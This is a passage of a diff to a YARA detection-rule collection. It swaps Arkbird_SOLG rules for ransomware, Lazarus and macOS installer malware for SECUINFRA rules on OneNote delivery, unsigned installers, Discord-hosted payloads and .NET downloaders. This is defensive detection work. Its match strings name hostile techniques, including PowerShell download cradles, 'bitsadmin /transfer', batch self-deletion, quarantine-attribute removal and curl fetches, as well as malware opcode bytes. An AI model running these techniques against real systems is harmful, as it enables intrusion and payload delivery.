+		reference = "https://twitter.com/James_inthe_box/status/1615421130877329409"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/MALWARE_OneNote_Delivery_Jan23.yar#L1-L56"
 		license_url = "N/A"
-		logic_hash = "5862d02b4e57024aa1c00b0a10ac9ee1a733890cf7d5b9ec7586f0506af113fc"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "e1471e8f9c1aa1457f819c0565a3444c53d3ec5fadf9f52ae988fde8e2d3a960"
-		hash2 = "e70ea87d00567d33e20ed8649ef532eda966a8b5b1e83ea19728528d991eaaa0"
+		logic_hash = "08c38eedf500fd1a0224e396b41aebb8ac82b3705321ca798ac1007ea34366e1"
+		score = 65
+		quality = 66
+		tags = ""
+		tlp = "CLEAR"
+		hash0 = "18af397a27e58afb901c92f37569d48e3372cf073915723e4e73d44537bcf54d"
+		hash1 = "de30f2ba2d8916db5ce398ed580714e2a8e75376f31dc346b0e3c898ee0ae4cf"
+		hash2 = "bfc979c0146d792283f825f99772370f6ff294dfb5b1e056943696aee9bc9f7b"
+		hash3 = "e0d9f2a72d64108a93e0cfd8066c04ed8eabe2ed43b80b3f589b9b21e7f9a488"
+		hash4 = "3f00a56cbf9a0e59309f395a6a0b3457c7675a657b3e091d1a9440bd17963f59"
 
 	strings:
-		$ClassCode1 = { 4c 69 66 45 78 70 2e 6a 61 76 61 0c 00 3f 00 40 }
-		$ClassCode2 = "java/lang/StringBuilder" fullword ascii
-		$ClassCode3 = "java/net/URL" fullword ascii
-		$ClassCode4 = { 6a 61 76 61 2f 6c 61 6e 67 2f 50 72 6f 63 65 73 73 42 75 69 6c 64 65 72 01 00 02 2e 2f }
-		$Com1 = "chmod +x " fullword ascii
-		$Com2 = { 53 4b 4c 01 00 02 6c 66 }
-		$s1 = "kinsing" fullword ascii
-		$s2 = "getAbsolutePath" fullword ascii
+		$hta = "hta:application" nocase
+		$script1 = "type=\"text/vbscript\""
+		$script2 = "language=\"VBScript\""
+		$powershell = "powershell" nocase
+		$startProc = "Start-Process -Filepath"
+		$webReq = "Invoke-WebRequest -Uri"
+		$bitsadmin = "bitsadmin /transfer"
+		$wscript = "WScript.Shell" nocase
+		$autoOpen = "Sub AutoOpen()"
+		$root = "GetObject(\"winmgmts:\\.\\root\\cimv2\")"
+		$wsfExt = ".wsf" ascii wide
+		$vbsExt = ".vbs" ascii wide
+		$cmd = "cmd /c" nocase
+		$batch = "@echo off"
+		$batExt = ".bat" ascii wide
+		$delExit = "(goto) 2>nul & del \"%~f0\"..exit /b"
+		$dosString = "!This program cannot be run in DOS mode"
+		$exeExt = ".exe" ascii wide
+		$imageFile = "button_click-to-view-document.png" wide
+		$click = "click to view document" nocase wide
+		$path1 = "C:\\Users\\My\\OneDrive\\Desktop" wide
+		$path2 = "C:\\Users\\Administrator\\Documents\\Dove" wide
+		$path3 = "C:\\Users\\julien.galleron\\Downloads" wide
 
 	condition:
-		filesize <1KB and 3 of ($ClassCode*) and 1 of ($Com*) and 2 of ($s*)
+		uint32be(0x0)==0xE4525C7B and 3 of them
 }
-rule ARKBIRD_SOLG_MAL_OSX_Wizardupdate_Oct_2021_2 : FILE
+rule SECUINFRA_SUS_Unsigned_APPX_MSIX_Installer_Feb23
 {
 	meta:
-		description = "Detect a structure like the bash of WizardUpdate installer on OSX system"
-		author = "Arkbird_SOLG"
-		id = "3e48c2fa-10f4-5152-90e6-f5f8cc507103"
-		date = "2021-10-22"
-		modified = "2021-10-23"
-		reference = "https://twitter.com/MsftSecIntel/status/1451279679059488773"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-23/WizardUpdate/MAL_OSX_WizardUpdate_Oct_2021_2.yara#L1-L20"
+		description = "Detects suspicious, unsigned Microsoft Windows APPX/MSIX Installer Packages"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "beaf08a8-a1c3-5d9c-b7cb-81a49c5bc2ec"
+		date = "2023-02-01"
+		modified = "2023-02-07"
+		reference = "https://twitter.com/SI_FalconTeam/status/1620500572481945600"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/SUS_Unsigned_APPX_MSIX_Installer_Feb23.yar#L1-L22"
 		license_url = "N/A"
-		logic_hash = "99d3323e3c155be040fef3beea0a55aec9bd3178df822d5fd6530864186446ed"
-		score = 75
-		quality = 67
-		tags = "FILE"
-		hash1 = "eafacc44666901a5ea3c81a128e5dd88d0968a400d74ef1da5c2c05dc6dd7a39"
-		tlp = "White"
-		adversary = "-"
+		logic_hash = "ad3f0545b2fe285adf67f053c8b422126a1bdff1b6835631280442495d975d16"
+		score = 50
+		quality = 30
+		tags = ""
+		tlp = "CLEAR"
 
 	strings:
-		$s1 = { 24 28 65 76 61 6c 20 65 63 68 6f 20 7e 24 28 65 63 68 6f 20 24 55 53 45 52 29 29 }
-		$s2 = { 69 66 20 5b 20 21 20 2d 66 20 22 24 [5-15] 22 20 5d 3b 20 74 68 65 6e }
-		$s3 = { 63 75 72 6c 20 2d 2d 72 65 74 72 79 20 [2-3] 2d 66 20 22 }
-		$s4 = { 78 61 74 74 72 20 2d 72 20 2d 64 20 63 6f 6d 2e 61 70 70 6c 65 2e 71 75 61 72 61 6e 74 69 6e 65 }
-		$s5 = { 6c 61 75 6e 63 68 63 74 6c 20 6c 6f 61 64 20 2d 77 }
-		$s6 = { 63 68 6f 77 6e 20 2d 52 20 24 55 53 45 52 }
-		$s7 = { 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 5c 22 20 65 6e 63 6f 64 69 6e 67 3d 5c 22 55 54 46 2d 38 5c 22 3f 3e 0a 09 3c 21 44 4f 43 54 59 50 45 20 70 6c 69 73 74 20 50 55 42 4c 49 43 20 5c 22 2d 2f 2f 41 70 70 6c 65 2f 2f 44 54 44 20 50 4c 49 53 54 20 31 2e 30 2f 2f 45 4e 5c 22 20 5c 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 70 6c 65 2e 63 6f 6d 2f 44 54 44 73 2f 50 72 6f 70 65 72 74 79 4c 69 73 74 2d 31 2e 30 2e 64 74 64 5c 22 3e 0a 09 3c 70 6c 69 73 74 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 5c 22 3e }
+		$s_manifest = "AppxManifest.xml"
+		$s_block = "AppxBlockMap.xml"
+		$s_peExt = ".exe"
+		$sig = "AppxSignature.p7x"
 
 	condition:
-		filesize >2KB and 6 of ($s*)
+		uint16be(0x0)==0x504B and 2 of ($s*) and not $sig
 }
-rule ARKBIRD_SOLG_MAL_OSX_Wizardupdate_Oct_2021_1 : FILE
+import "pe"
+
+rule SECUINFRA_SUSP_Discord_Attachments_URL : PE DOWNLOAD FILE
 {
 	meta:
-		description = "Detect WizardUpdate installer on OSX system"
-		author = "Arkbird_SOLG"
-		id = "50974725-6b45-5f2f-aa76-ae73dc752873"
-		date = "2021-10-22"
-		modified = "2021-10-23"
-		reference = "https://twitter.com/MsftSecIntel/status/1451279679059488773"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-23/WizardUpdate/MAL_OSX_WizardUpdate_Oct_2021_1.yara#L1-L21"
+		description = "Detects a PE file that contains an Discord Attachments URL. This is often used by Malware to download further payloads"
+		author = "SECUINFRA Falcon Team"
+		id = "bf81920b-f8ab-594a-aa45-d92446411113"
+		date = "2022-02-19"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L3-L16"
 		license_url = "N/A"
-		logic_hash = "b25145a9aa33c9518e5e0847b50faa8b67d65078ddfbb66de49196a17ddd3137"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "939cebc99a50989ffbdbb2a6727b914fc9b2382589b4075a9fd3857e99a8c92a3"
-		hash2 = "c5017798275f054ae96c69f5dd0b378924c6504a70c399279bbf7f33d990d45b"
-		hash3 = "7067e6a69a8f5fdbabfb00d03320cfc2f3584a83304cbeeca7e8edc3d57bbbd4"
-		tlp = "White"
-		adversary = "-"
+		logic_hash = "3270b74506e520064361379b274f44a467c55bdcd3d8456967e864526aca8521"
+		score = 65
+		quality = 70
+		tags = "PE, DOWNLOAD, FILE"
+		version = "0.1"
 
 	strings:
-		$s1 = { 48 89 e5 48 83 ec 70 48 89 7d f0 48 c7 45 e0 00 00 00 00 b8 01 00 00 00 48 89 c7 48 89 c6 e8 b8 3b 00 00 31 c9 89 cf 48 89 45 d8 48 c7 45 d0 00 00 00 00 e8 a9 3b 00 00 48 8b 7d f0 48 8d 35 d4 3f 00 00 89 45 cc e8 ba 3b 00 00 48 89 45 e8 48 83 7d e8 00 0f 85 0d 00 00 00 48 c7 45 f8 00 00 00 00 e9 cd 00 00 00 e9 00 00 00 00 48 8b 55 e8 48 8d 7d e0 48 8d 75 d0 e8 70 3b 00 00 48 83 f8 ff 0f 84 9c 00 00 00 48 8b 7d d8 48 8b 45 d8 48 89 7d c0 48 89 c7 e8 76 3b 00 00 48 8b 7d e0 48 89 45 b8 e8 69 3b 00 00 48 8b 4d b8 48 01 c1 48 81 c1 01 00 00 00 48 8b 7d c0 48 89 ce e8 49 3b 00 00 48 89 45 d8 48 8b 45 d8 48 8b 7d d8 48 89 45 b0 e8 3a 3b 00 00 48 8b 4d b0 48 01 c1 48 8b 75 e0 48 8b 7d e0 48 89 4d a8 48 89 75 a0 e8 1e 3b 00 00 48 05 01 00 00 00 48 8b 7d a8 48 8b 75 a0 48 89 c2 e8 0e 3b 00 00 48 8b 7d e0 48 89 45 98 e8 d1 3a 00 00 48 c7 45 }
-		$s2 = { 48 89 e5 48 81 ec 80 01 00 00 48 89 f8 48 8b 0d 7b 31 00 00 48 8b 09 48 89 4d f8 48 89 bd e8 fe ff ff c6 85 e7 fe ff ff 00 48 89 bd b8 fe ff ff 48 89 b5 b0 fe ff ff 48 89 85 a8 fe ff ff e8 9c 01 00 00 c7 85 d4 fe ff ff 00 01 00 00 48 8d 35 0a 2e 00 00 48 8b bd b0 fe ff ff e8 df 28 00 00 e9 00 00 00 00 48 8b bd b0 fe ff ff e8 8e 01 00 00 48 8d 35 ec 2d 00 00 48 89 c7 e8 5b 29 00 00 48 89 85 a0 fe ff ff e9 00 00 00 00 48 8b 85 a0 fe ff ff 48 89 85 d8 fe ff ff 48 83 bd d8 fe ff ff 00 0f 84 c4 00 00 00 e9 00 00 00 00 48 8b bd d8 fe ff ff e8 04 29 00 00 89 85 9c fe ff ff e9 00 00 00 00 8b 85 9c fe ff ff 83 f8 00 0f 95 c1 80 f1 ff f6 c1 01 0f 85 05 00 00 00 e9 75 00 00 00 48 8b 95 d8 fe ff ff 48 8d bd f0 fe ff ff be 00 01 00 00 e8 ca 28 00 00 48 89 85 90 fe ff ff e9 00 00 00 00 48 8b 85 90 fe ff ff 48 83 f8 00 0f 84 3b 00 00 00 48 8d b5 f0 fe ff ff 48 8b bd b8 fe ff ff }
-		$s3 = "11101000010110101110100011010010110110101100101011011110111010101110100001000000011100100110000001100000010000000101101010011000010000000100010011010000111010001110100011100000111001100111010001011110010111101101101"
-		$s4 = { 48 8b bd d8 fe ff ff e8 73 28 00 00 e9 00 00 00 00 e9 00 00 00 00 c6 85 e7 fe ff ff 01 f6 85 e7 fe ff ff 01 0f 85 0c 00 00 00 48 8b bd b8 fe ff ff e8 cb 27 00 00 48 8b 05 fc 2f 00 00 48 8b 00 48 8b 4d f8 48 39 c8 0f 85 32 00 00 00 48 8b 85 a8 fe ff ff 48 81 c4 80 01 00 }
+		$url = "cdn.discordapp.com/attachments" nocase wide
 
 	condition:
-		uint32(0)==0xFEEDFACF and filesize >50KB and (($s1 and $s3) or ($s2 and $s4))
+		uint16(0)==0x5a4d and $url
 }
-rule ARKBIRD_SOLG_Ran_Onyxlocker_Nov_2020_1 : FILE
+import "pe"
+
+rule SECUINFRA_SUSP_DOTNET_PE_Download_To_Specialfolder : DOTNET DOWNLOAD FILE
 {
 	meta:
-		description = "Detect OnyxLocker ransomware"
-		author = "Arkbird_SOLG"
-		id = "bb7d914c-a074-5d79-a5d2-43c5a0adf49e"
-		date = "2020-11-18"
-		modified = "2020-11-18"
-		reference = "https://twitter.com/Kangxiaopao/status/1328614320016560128"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-18/OnyxLocker/Ran_OnyxLocker_Nov_2020_1.yar#L1-L27"
+		description = "Detects a .NET Binary that downloads further payload and retrieves a special folder"
+		author = "SECUINFRA Falcon Team"
+		id = "106683bf-1d36-58ee-b5af-4723aa70fdad"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L45-L64"
 		license_url = "N/A"
-		logic_hash = "1ccca1040acee5bb937fd5ebb3536f8c644d3586229d01457d780bef5fcb57a1"
-		score = 75
-		quality = 71
-		tags = "FILE"
-		hash1 = "7e3c97d3d274b5f7fedad6e392e6576ac3e5724ddd7e48c58a654b6b95eb40d7"
+		logic_hash = "d44c89ab126f79596c8bf3f1327b37a2463faa4e3bb258f9a96d495ac40003f8"
+		score = 65
+		quality = 70
+		tags = "DOTNET, DOWNLOAD, FILE"
 
 	strings:
-		$s1 = "IEncryptionProvider" fullword ascii
-		$s2 = "OnyxLocker.exe" fullword wide
-		$s3 = "GetEncryptionThreads" fullword ascii
-		$s4 = "CreateEncryptionKey" fullword ascii
-		$s5 = ".NETFramework,Version=v4.5.2" fullword ascii
-		$s6 = "get_TargetFiles" fullword ascii
-		$s7 = "IsTargetFile" fullword ascii
-		$s8 = "<TargetFiles>k__BackingField" fullword ascii
-		$s9 = "XxteaEncryptionProvider" fullword ascii
-		$s10 = "GetStartingFolders" fullword ascii
-		$s11 = "<EncryptionKey>k__BackingField" fullword ascii
-		$s12 = "RECOVERY INSTRUCTIONS" fullword wide
-		$s13 = "$182eaa96-fcb2-458b-85cb-a9b8da57ae71" fullword ascii
-		$s14 = ".NET Framework 4.5.2" fullword ascii
-		$s15 = "TraverseDirectories" fullword ascii
-		$s16 = "{0} {1}" fullword wide
+		$special_folder = "Environment.SpecialFolder" wide
+		$webclient = "WebClient()" wide
+		$download = ".DownloadFile(" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >8KB and 8 of them
+		uint16(0)==0x5a4d and filesize <100KB and pe.imports("mscoree.dll") and $special_folder and $webclient and $download
 }
-rule ARKBIRD_SOLG_APT_Lazarus_Jun_2021_1 : FILE
+import "pe"
+
+rule SECUINFRA_SUSP_DOTNET_PE_List_AV : DOTNET AV FILE
 {
 	meta:
-		description = "Detect a variant of NukeSped malware"
-		author = "Arkbird_SOLG"
-		id = "0f5d42c0-d6dc-573b-9227-787ccbcaa83d"
-		date = "2021-06-19"
-		modified = "2021-06-21"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/Lazarus/APT_Lazarus_Jun_2021_1.yara#L1-L20"
+		description = "Detecs .NET Binary that lists installed AVs"
+		author = "SECUINFRA Falcon Team"
+		id = "0f27567a-ab41-5d17-a1d8-a59c9602eb35"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L66-L82"
 		license_url = "N/A"
-		logic_hash = "ea4ce93d54b9b8e5d1d5bb64d37ac26839e2fa3200da3057597d83c4be6d129f"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "5c2f339362d0cd8e5a8e3105c9c56971087bea2701ea3b7324771b0ea2c26c6c"
-		hash2 = "2dff6d721af21db7d37fc1bd8b673ec07b7114737f4df2fa8b2ecfffbe608a00"
-		hash3 = "1177105e51fa02f9977bd435f9066123ace32b991ed54912ece8f3d4fbeeade4"
-		tlp = "White"
-		adversary = "Lazarus"
+		logic_hash = "b82e6ed5740cab26eb3848717204190d61663e7e42ff42536386b00181a15ebb"
+		score = 65
+		quality = 70
+		tags = "DOTNET, AV, FILE"
 
 	strings:
-		$seq1 = { 48 8b ce e8 8a 2c 00 00 48 8b d8 48 85 c0 0f 84 28 06 00 00 4c 8b c6 33 d2 48 8b c8 e8 11 56 00 00 8d 4e fc 48 8d 57 04 4c 63 c1 48 8b cb e8 af 3a 00 00 33 c0 48 8d 4c 24 30 48 89 4c 24 28 45 33 c9 4c 8b c3 33 d2 33 c9 89 44 24 30 89 44 24 20 ff 15 4b 49 01 00 48 85 c0 0f 84 d4 05 00 00 ba 88 13 00 00 48 8b c8 ff 15 9c 2c 02 00 48 8d 8d 91 00 00 00 33 d2 41 b8 ff 03 00 00 c6 85 90 00 00 00 00 e8 a9 55 00 00 48 8d 15 02 c1 01 00 48 8d 8d 90 00 00 00 e8 16 2b 00 00 48 8d 85 90 00 00 00 48 83 cb ff 48 ff c3 80 3c 18 00 75 f7 41 b2 84 ba 43 90 21 57 41 b8 c2 a2 a9 09 85 db 0f 8e 4b 05 00 00 4c 8d 8d 90 00 00 00 44 8b db 66 90 41 0f b6 01 41 0f b6 c8 4d 8d 49 01 32 ca 41 32 c2 44 22 d1 41 32 c0 42 8d 0c c5 00 00 00 00 32 c2 41 33 c8 41 88 41 ff 81 e1 f8 07 00 00 41 0f b6 c0 22 c2 c1 e1 14 44 32 d0 41 8b c0 44 8b c1 c1 e8 08 8d 0c 12 33 ca 44 0b c0 8b c2 c1 e1 04 c1 e0 07 33 ca 83 e1 80 33 c8 8b c2 c1 e1 11 c1 e8 08 8b d1 0b d0 49 ff }
-		$seq2 = { 48 8d ac 24 50 ff ff ff 48 81 ec b0 01 00 00 48 8b 05 82 09 02 00 48 33 c4 48 89 85 a0 00 00 00 44 8b 25 d5 38 02 00 4c 8b f9 48 8d 4d 91 33 d2 41 b8 03 01 00 00 c6 45 90 00 e8 59 66 00 00 b9 3c 00 00 00 ff 15 f6 3c 02 00 ff 15 88 59 01 00 8b c8 e8 51 42 00 00 e8 20 42 00 00 b9 3c 00 00 00 8b d8 83 e3 03 83 c3 08 ff 15 d1 3c 02 00 ff 15 63 59 01 00 8b c8 e8 2c 42 00 00 e8 fb 41 00 00 b9 3c 00 00 00 8b f8 83 e7 01 83 c7 05 ff 15 ac 3c 02 00 ff 15 3e 59 01 00 8b c8 e8 07 42 00 00 e8 d6 41 00 00 8b f0 b8 ab aa aa aa f7 e6 d1 ea 8d 0c 52 2b f1 83 eb 08 0f 84 30 03 00 00 ff cb 0f 84 68 02 00 00 ff cb 0f 84 9a 01 00 00 ff cb 0f 85 ef 04 00 00 8d 4b 3c ff 15 60 3c 02 00 ff 15 f2 58 01 00 8b c8 e8 bb 41 00 00 e8 8a 41 00 00 8b d8 b8 1f 85 eb 51 f7 e3 c1 ea 03 6b ca 19 2b d9 b9 3c 00 00 00 83 c3 0a ff 15 2f 3c 02 00 ff 15 c1 58 01 00 8b c8 e8 8a 41 00 00 e8 59 41 00 00 44 8b f0 b8 ab aa aa aa 41 f7 e6 c1 ea 02 8d 0c 52 03 c9 44 2b f1 b9 3c 00 00 00 41 81 c6 d7 07 00 00 ff 15 f5 3b 02 00 ff 15 87 58 01 00 8b c8 e8 50 41 00 00 e8 1f 41 00 00 44 8b e8 b8 ab aa aa aa 41 f7 e5 c1 ea 03 8d 0c 52 c1 e1 02 44 2b e9 b9 3c 00 00 00 41 ff c5 ff 15 be 3b 02 00 ff 15 50 58 01 00 8b c8 e8 19 41 00 00 e8 e8 40 00 00 44 8b c0 b8 09 cb 3d 8d 41 f7 e0 c1 ea 04 6b ca 1d 44 2b c1 b9 7d 00 00 00 41 ff c0 44 89 44 24 74 e8 3e 3b 00 00 33 d2 44 8d 42 7d 48 8b c8 e8 d0 64 00 00 4c 8d 44 24 70 48 8d 0d d4 ce 01 00 ba 7c 00 00 00 c7 44 24 70 00 00 00 00 e8 c2 27 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 48 89 44 24 78 e8 3d 25 00 00 48 8b 44 24 78 4c 8d 45 90 48 8b d0 4c 2b c0 0f 1f 40 00 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 48 8b c8 e8 88 3a 00 00 8b 44 24 74 44 89 64 24 48 89 5c 24 40 89 44 24 38 44 89 6c 24 30 48 8d 55 90 44 8b cf 41 b8 04 00 00 00 49 8b cf 44 89 74 24 28 89 74 24 20 e8 b4 39 00 00 e9 5d 03 00 00 b9 3c 00 00 00 ff 15 cc 3a 02 00 ff 15 5e 57 01 00 8b c8 e8 27 40 00 00 e8 f6 3f 00 00 b9 79 00 00 00 8b d8 83 e3 03 e8 63 3a 00 00 33 d2 44 8d 42 79 48 8b c8 e8 f5 63 00 00 4c 8d 44 24 70 48 8d 0d 79 cd 01 00 ba 78 00 00 00 c7 44 24 70 00 00 00 00 e8 e7 26 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 4c 8b f0 e8 64 24 00 00 4c 8d 45 90 49 8b d6 4d 2b c6 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 49 8b ce e8 b8 39 00 00 44 89 64 24 38 8d 43 04 89 44 24 30 44 8d 4b 08 48 8d 55 90 41 b8 04 00 00 00 49 8b cf 89 74 24 28 89 }
-		$seq3 = { 48 89 5c 24 18 55 56 57 48 83 ec 70 48 8b 05 9d fe 01 00 48 33 c4 48 89 44 24 60 33 c0 48 8b d9 8b fa 8d 48 20 c6 44 24 48 00 48 89 44 24 49 48 89 44 24 51 e8 d7 31 00 00 48 8d 15 44 c6 01 00 48 8b f0 33 c0 48 8d 4c 24 48 48 89 06 48 89 46 08 48 89 46 10 4c 8b c3 48 89 46 18 e8 3f 13 00 00 48 8d 4c 24 48 ff 15 ac 50 01 00 bd 02 00 00 00 0f b7 cf 89 44 24 3c 66 89 6c 24 38 ff 15 a5 2e 02 00 8d 55 ff 44 8d 45 04 8b cd 66 89 44 24 3a ff 15 01 32 02 00 48 8b f8 48 83 f8 ff 75 20 48 8d 15 e1 c5 01 00 48 8b ce e8 81 30 00 00 48 0b df 48 ff c3 80 3c 1e 00 75 f7 e9 c9 00 00 00 48 8d 54 24 38 41 b8 10 00 00 00 48 8b c8 ff 15 f4 31 02 00 83 f8 ff 75 6b 48 8d 15 a8 c5 01 00 48 8b ce e8 48 30 00 00 48 83 cb }
-		$seq4 = { 40 55 48 8d ac 24 e0 fb ff ff 48 81 ec 20 05 00 00 48 8b 05 b8 fc 01 00 48 33 c4 48 89 85 10 04 00 00 48 8d 8d f1 00 00 00 33 d2 41 b8 03 01 00 00 c6 85 f0 00 00 00 00 e8 93 59 00 00 48 8d 8d 01 02 00 00 33 d2 41 b8 07 02 00 00 c6 85 00 02 00 00 00 e8 78 59 00 00 48 8d 4d e1 33 d2 41 b8 03 01 00 00 c6 45 e0 00 e8 63 59 00 00 48 8d 95 f0 00 00 00 41 b8 f4 01 00 00 33 c9 ff 15 2e 30 02 00 85 c0 0f 84 5e 01 00 00 48 8d 55 e0 b9 f4 01 00 00 48 89 9c 24 30 05 00 00 48 89 bc 24 38 05 00 00 ff 15 17 30 02 00 4c 8d 05 20 15 02 00 48 8d 4d e0 ba 04 01 00 00 e8 5a 37 00 00 48 8d 45 e0 4c 8d 0d f7 14 02 00 48 89 44 24 28 48 8d 85 f0 00 00 00 4c 8d 85 f0 00 00 00 48 8d 15 dd c3 01 00 48 8d 8d 00 02 00 00 48 89 44 24 20 e8 fc 10 00 00 33 ff 48 8d 4d e0 48 89 7c 24 30 44 8d 47 03 45 33 c9 ba 00 00 00 40 c7 44 24 28 80 00 00 00 c7 44 24 20 02 00 00 00 ff 15 6f 2f 02 00 48 8b d8 }
-		$seq5 = { 48 89 5c 24 10 48 89 74 24 18 48 89 7c 24 20 55 48 8d ac 24 70 f2 ff ff 48 81 ec 90 0e 00 00 48 8b 05 da ed 01 00 48 33 c4 48 89 85 80 0d 00 00 48 8b f1 48 8d 8d 81 05 00 00 33 d2 41 b8 ff 07 00 00 c6 85 80 05 00 00 00 e8 b2 4a 00 00 48 8d 4d 71 33 d2 41 b8 03 01 00 00 c6 45 70 00 e8 9d 4a 00 00 33 c0 c6 44 24 50 00 39 05 f4 1c 02 00 89 44 24 51 75 0b e8 b5 dd ff ff 89 05 e3 1c 02 00 48 8d 4d 70 e8 c6 e3 ff ff 8b 05 e8 b5 01 00 48 8d 8d 81 01 00 00 89 44 24 50 0f b6 05 da b5 01 00 33 d2 41 b8 ff 03 00 00 c6 85 80 01 00 00 00 88 44 24 54 e8 46 4a 00 00 48 8d 15 3f b6 01 00 48 8d 8d 80 01 00 00 e8 b3 1f 00 00 48 8d 4d 90 33 d2 0f 10 05 b6 b6 01 00 0f 10 0d bf b6 01 00 41 b8 d4 00 00 00 0f 29 44 24 60 0f 29 4c 24 70 0f 10 05 b8 b6 01 00 0f 29 45 80 e8 ff 49 00 00 48 83 cb ff 48 8b c3 0f 1f 84 }
+		$mgt_obj_searcher = "\\root\\SecurityCenter2" wide
+		$query = "Select * from AntivirusProduct" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >60KB and 4 of ($seq*)
+		uint16(0)==0x5a4d and filesize <200KB and pe.imports("mscoree.dll") and $mgt_obj_searcher and $query
 }
-rule ARKBIRD_SOLG_MAL_Mailo_Jun_2021_1 : FILE
+import "pe"
+
+rule SECUINFRA_SUSP_Netsh_Firewall_Command : PE FILE
 {
 	meta:
-		description = "Detect the Mach-O malware"
-		author = "Arkbird_SOLG"
-		id = "4c975200-fce4-5a2a-b565-6d397c4e0b1c"
-		date = "2021-06-09"
-		modified = "2021-06-21"
-		reference = "https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/MAIL-O/MAL_MailO_Jun_2021_1.yara#L1-L19"
+		description = "No description has been set in the source file - SecuInfra"
+		author = "SECUINFRA Falcon Team"
+		id = "c62cbe3f-9585-56c0-bb09-83a36437abda"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Filetypes/exe.yar#L84-L97"
 		license_url = "N/A"
-		logic_hash = "165c5fd90039c14ef1fa1e80bb7f14761e991b09560c5f1da2ddf9a0eadee623"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "3a77f108e32b34e184f9ade66292cd73abbd297b4829ba63a973a400cc7f3f9f"
-		hash2 = "603881f4c80e9910ab22f39717e8b296910bff08cd0f25f78d5bff1ae0dce5d7"
-		tlp = "White"
-		adversary = "TA428"
+		logic_hash = "7d19b433785684ce1d2b008b3fdd36b22c5c82bfec476c787dfa025080b6178d"
+		score = 65
+		quality = 70
+		tags = "PE, FILE"
 
 	strings:
-		$seq1 = { 48 8b ce e8 9e 0c f9 ff 48 8b 5c 24 20 48 8b 4c 24 28 49 8b d7 41 ff c5 ff 15 20 72 08 00 4c 8b f8 48 85 c0 0f 85 4c ff ff ff 48 8b b4 24 88 00 00 00 48 8b 4c 24 28 33 d2 ff 15 f7 71 08 00 4c 8b ac 24 90 00 00 00 4d 85 e4 0f 84 7f 01 00 00 48 8b ac 24 80 00 00 00 4d 8b c4 48 8b cd 48 8b d6 ff 53 48 49 8b cc 8b f0 e8 88 2c f8 ff 4c 8b bc 24 98 00 00 00 85 c0 0f 8e fb 00 00 00 0f 1f 84 00 00 00 00 00 41 8b d6 49 8b cc e8 95 2e f8 ff 48 8b f8 44 3b f6 75 75 49 89 07 e9 c4 00 00 00 48 8b 5c 24 20 45 33 c0 48 8b ce 41 8d 50 01 e8 a1 4b f9 ff 85 c0 0f 84 43 ff ff ff 49 8b d7 48 8b cb e8 ce e7 ff ff 48 8b d8 48 85 c0 0f 84 2c ff ff ff 49 8b cf ff 15 71 71 08 00 8b 15 ff e0 12 00 4c 8b c3 48 8b ce 48 89 03 e8 45 0c f9 ff 4d 85 e4 75 08 e8 2b 2b f8 ff 4c 8b e0 48 8b d6 49 8b cc e8 cd 2c f8 ff e9 fa fe ff ff 8b 15 ce e0 12 00 48 8b cf e8 ca 0b f9 ff 48 8b d8 48 85 c0 74 39 48 8b 48 10 ff 15 d8 70 08 00 48 8b 4b 08 33 d2 ff 15 d4 70 08 00 48 8b 0b 48 85 c9 74 06 ff 15 0e 71 08 00 41 b8 3a 06 00 00 48 8d 15 b1 71 0d 00 }
